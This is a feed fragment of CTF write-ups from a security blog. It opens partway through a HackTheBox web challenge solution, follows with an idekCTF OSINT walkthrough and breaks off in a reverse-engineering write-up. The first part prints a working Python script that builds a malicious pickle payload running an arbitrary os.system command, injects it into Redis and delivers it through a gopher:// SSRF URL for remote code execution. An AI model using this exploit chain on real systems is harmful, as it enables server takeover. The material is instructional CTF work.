&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="nb">isinstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">command&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">list&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">pass&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">command&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">command&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s2">&amp;#34;*&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">command&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">cmd&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">command&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s2">&amp;#34;$&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cmd&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cmd&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">generate_gopher&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">final_payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;gopher://127.0.0.1:6379/_&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">urllib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">quote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">final_payload&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">PickleExploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">object&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">command&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cmd&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">command&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">__reduce__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cmd&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">command&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">system&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">cmd&lt;/span>&lt;span class="p">,))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">pickle_payload&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">field&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">command&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pickle&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PickleExploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">command&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">generate_resp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;hset &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">field&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64encode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">generate_gopher&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">res&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;pickle&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Key name &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">field&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Field name &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">command&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Command &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pickle_payload&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">field&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">command&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This pickle serialized thing works fine on Unix platform. It should also works fine on Windows platform usually, however if you experience any errors on your Windows machine, try to use WSL (Window Subsystem Linux), install Linux on a Virtual Machine or buy a MacBook. 💸💸💸&lt;/p>
&lt;p>With that script let&amp;rsquo;s try to finalize our work. We will try to change &lt;code>hvalue&lt;/code> of &lt;code>jobs&lt;/code> from &lt;code>hfield&lt;/code> of 100 (which is the first key:value pair of &lt;code>jobs&lt;/code>). Why &lt;code>jobs&lt;/code> ? Because it is the hash key that stores the jobs which contain the serialized object. Why change it ? So we can inject a evil-crafted serialized object of our own so when it is loaded, the command we want to run will be executed.&lt;/p>
&lt;p>Overall the technique to solve this challenge is not too flashy, it still requires a lot of knowledge around it. Very nice chall. Hope we all learn something from it.&lt;/p>
&lt;img src="traptrack6.png" alt="creds" width="1000"/>
&lt;img src="traptrack7.png" alt="creds" width="1000"/>
&lt;img src="traptrack8.png" alt="creds" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{tr4p_qu3u3d_t0_rc3!}&lt;/strong>&lt;/p>
&lt;h2 id="original-posts">Original Posts&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>idekCTF 2022 - Osint/Osint Crime Confusion 3: W as in Who</title><link>https://bkisc-blog.netlify.app/blog/fazect/idekctf2022_osintcrime3/</link><pubDate>Mon, 16 Jan 2023 03:50:54 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/fazect/idekctf2022_osintcrime3/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/osint/">osint&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/idekctf-2022/">idekctf-2022&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#introduction">Introduction&lt;/a>&lt;/li>
&lt;li>&lt;a href="#finding-the-location">Finding the location&lt;/a>&lt;/li>
&lt;li>&lt;a href="#getting-further-informations">Getting further informations&lt;/a>&lt;/li>
&lt;li>&lt;a href="#finding-the-deleted-tweet">Finding the deleted tweet&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exploring-the-killers-github">Exploring the killer&amp;rsquo;s GitHub&lt;/a>&lt;/li>
&lt;li>&lt;a href="#conclusion">Conclusion&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>&lt;strong>Given image:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1sYKHJvmFAB0yjWCTEdp_ZL9g1Eh0G56x/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;p>&lt;strong>Description:&lt;/strong> I feel the killer might be dangerous so I have some info to give you but I don&amp;rsquo;t want to disclose my email just like that. So find my review from the image below and send me an email asking for info. Be creative with the signature so I know its you. It is time to find Who is the killer.&lt;/p>
&lt;p>&lt;strong>Category:&lt;/strong> OSINT&lt;/p>
&lt;h2 id="finding-the-location">Finding the location&lt;/h2>
&lt;p>From the given image, I managed to have found the location on &lt;strong>Google Maps&lt;/strong> at &lt;strong>41.154248, -8.682320&lt;/strong>.&lt;/p>
&lt;img src="map.png" alt="Location" width="1000"/>
&lt;p>Then in the comment section of the location, I got the mentioned secret email, labeled &lt;strong>&lt;a href="mailto:noodlesareramhackers@gmail.com">noodlesareramhackers@gmail.com&lt;/a>&lt;/strong>.&lt;/p>
&lt;img src="comment.png" alt="Comment" width="1000"/>
&lt;h2 id="getting-further-informations">Getting further informations&lt;/h2>
&lt;p>I then sent an email to the email above, and got the next instructions.&lt;/p>
&lt;img src="gmail.png" alt="Mail" width="1000"/>
&lt;h2 id="finding-the-deleted-tweet">Finding the deleted tweet&lt;/h2>
&lt;p>In the first challenge of the &lt;strong>Osint Crime Confusion set (W is for Where)&lt;/strong>, I found the instagram of a person named &lt;a href="https://www.instagram.com/hjthepainteng/" target="_blank" rel="noopener">Heather James&lt;/a>.&lt;/p>
&lt;img src="ins.png" alt="Instagram" width="1000"/>
&lt;p>Then from this person&amp;rsquo;s informations, I found the twitter account of &lt;a href="https://twitter.com/UThE_TS" target="_blank" rel="noopener">University of Dutch ThE of Topics in Science&lt;/a>.&lt;/p>
&lt;img src="uni.png" alt="Twitter" width="1000"/>
&lt;p>I then immediately knew we have to bring the account to the &lt;a href="https://web.archive.org" target="_blank" rel="noopener">Wayback Machine&lt;/a> to gain access to the deleted tweet. The email did mention about the tweet&amp;rsquo;s id &lt;strong>(1612383535549059076)&lt;/strong>, so we can paste this &lt;strong>URL&lt;/strong> into the &lt;strong>Wayback Machine&lt;/strong>: &lt;strong>&lt;a href="https://twitter.com/UThE_TS/status/1612383535549059076" target="_blank" rel="noopener">https://twitter.com/UThE_TS/status/1612383535549059076&lt;/a>&lt;/strong>&lt;/p>
&lt;p>We successfully gained access to the deleted tweet!&lt;/p>
&lt;img src="tweet.png" alt="Tweet" width="1000"/>
&lt;h2 id="exploring-the-killers-github">Exploring the killer&amp;rsquo;s GitHub&lt;/h2>
&lt;p>From the email, we also know that we should continue searching in &lt;strong>GitHub&lt;/strong>. Frankly enough, when I tried to search for &lt;strong>&amp;ldquo;potatoes eating camels&amp;rdquo;&lt;/strong> in GitHub, this showed up:&lt;/p>
&lt;img src="git.png" alt="Git" width="1000"/>
&lt;p>The descriptions imply that the person is &lt;strong>&amp;ldquo;still improving wiki&amp;rdquo;&lt;/strong>. We then head into the &lt;strong>wiki&lt;/strong> of this repository to find out the end of our journey.&lt;/p>
&lt;img src="wiki.png" alt="Wiki" width="1000"/>
&lt;img src="flag.png" alt="Flag" width="1000"/>
&lt;p>Concatenate the first letters of the last &lt;strong>7 sentences&lt;/strong> of the poem, we have our flag for the challenge: &lt;strong>idek{JULIANA_APOSIDM723489}&lt;/strong>.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>A good OSINT challenge overall, consist of several general skills in the field of OSINT, such as &lt;strong>using Wayback Machine&lt;/strong> or &lt;strong>finding locations on Google Maps&lt;/strong>.&lt;/p></description></item><item><title>ISITDTU CTF 2022 Finals - Slow</title><link>https://bkisc-blog.netlify.app/blog/fazect/isitdtu-2022-slow/</link><pubDate>Fri, 13 Jan 2023 15:44:54 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/fazect/isitdtu-2022-slow/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/re/">re&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/isitdtu-2022/">isitdtu-2022&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#introduction">Introduction&lt;/a>&lt;/li>
&lt;li>&lt;a href="#static-analysis">Static Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#reaching-case-14">Reaching case 14&lt;/a>&lt;/li>
&lt;li>&lt;a href="#reaching-case-1">Reaching case 1&lt;/a>&lt;/li>
&lt;li>&lt;a href="#patch-the-binary">Patch the binary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#result">Result&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>&lt;strong>Given binary:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1K2NjzRQadtL9CkbTINYDvrH7HRgSfDc1/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;p>&lt;strong>Description:&lt;/strong> If you can make the program runs faster, you&amp;rsquo;ll get the flag!&lt;/p>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;h2 id="static-analysis">Static Analysis&lt;/h2>
&lt;p>The challenge provides us with a single binary, named &lt;strong>slow.exe&lt;/strong>. By using &lt;strong>IDA Pro&lt;/strong> or &lt;strong>Ghidra&lt;/strong> or any other kinds of decompiler, we will get the decompiled code.&lt;/p>
&lt;p>Analyze the &lt;strong>main&lt;/strong> function, we claim that the program initiates an array whose size is &lt;strong>45&lt;/strong>, then modifies it through some more functions, as shown below.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="kr">__cdecl&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">envp&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">void&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">Block&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [esp+4h] [ebp-BCh]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">45&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [esp+8h] [ebp-B8h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">43&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">44&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Block&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">sub_401AC0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">38&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sub_4013B0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Block&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sub_401B40&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Block&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The function &lt;strong>sub_401AC0(v5, 38, 0)&lt;/strong> allocates dynamic memory using &lt;strong>malloc&lt;/strong> based on &lt;strong>v5&lt;/strong> then assigns it into variable &lt;strong>Block&lt;/strong>. That variable is then being passed into function &lt;strong>sub_4013B0(Block)&lt;/strong>, which will produce our flag once we have fixed it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="kr">__cdecl&lt;/span> &lt;span class="nf">sub_4013B0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_DWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">a1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// eax
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">v2&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// eax
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">v3&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [esp+4h] [ebp-64h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">v37&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [esp+64h] [ebp-4h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">v38&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [esp+64h] [ebp-4h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v6&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_DWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">v6&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">switch&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">v6&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v22&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_DWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">--&lt;/span>&lt;span class="p">);&lt;/span>
